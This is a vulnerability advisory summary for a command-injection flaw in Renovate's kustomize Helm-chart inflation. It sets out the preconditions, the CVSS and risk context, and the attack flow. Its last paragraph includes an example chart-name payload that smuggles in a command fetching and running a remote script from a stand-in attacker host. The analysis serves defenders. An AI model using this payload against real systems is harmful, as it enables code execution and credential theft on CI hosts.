Renovate CVE-2026-76229

Three specific conditions must be simultaneously satisfied: first, the attacker must have git write access to at least one repository that the target Renovate instance is configured to scan - read-only access is insufficient; second, the Renovate configuration for that repository must include kustomizeInflateHelmCharts in the postUpdateOptions array of renovate.json5 - this is not enabled by default and repositories without it are not exposed to this code path; third, the attacker must be able to serve a Helm repository (accessible over HTTPS) whose index.yaml returns an entry whose chart name contains the injected payload, matching the chart referenced in the crafted kustomization.yaml. There is no requirement for access to the Renovate host itself. The combination of non-default configuration and repository write access meaningfully constrains the exploitable population beyond the raw CVSS score suggests.

The CVSS 4.0 score of 8.4 with vector AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H reflects high impact bounded by meaningful prerequisites. No EPSS data was provided for this CVE. Real-world risk is significant for organizations running self-hosted Renovate or Renovate in CI pipelines where multiple contributors have repository write access, because the Renovate host often holds privileged credentials (container registry tokens, Kubernetes kubeconfigs, cloud provider secrets). The published PoC dramatically lowers the exploitation bar - an attacker only needs to understand git and basic Helm repo structure. The key risk limiter is the non-default kustomizeInflateHelmCharts postUpdateOption: organizations not using this feature are not exposed, but those managing kustomize-based Helm deployments are exactly the population most likely to have it enabled. This vulnerability is not in CISA KEV, and no widespread exploitation has been reported. CVSS indicates AV:L (local access context), which may understate network-delivery risk since the payload traverses the network via git and Helm repository channels - the discrepancy should be verified with the vendor.

An attacker with write access to a repository scanned by Renovate pushes a kustomization.yaml containing a chart name with embedded shell metacharacters (e.g., example || curl attacker.com/shell.sh | bash) and updates renovate.json5 to enable kustomizeInflateHelmCharts, then hosts a fake Helm repository whose index.yaml returns the same malicious chart name. When Renovate next scans the repository - on schedule or triggered - it passes the unsanitized chart name to helm pull --untar, causing the injected commands to execute with Renovate's runtime privileges on the host machine. A PoC demonstrating this exact flow, resulting in termination of the root container process via kill 1, was published in the GHSA advisory.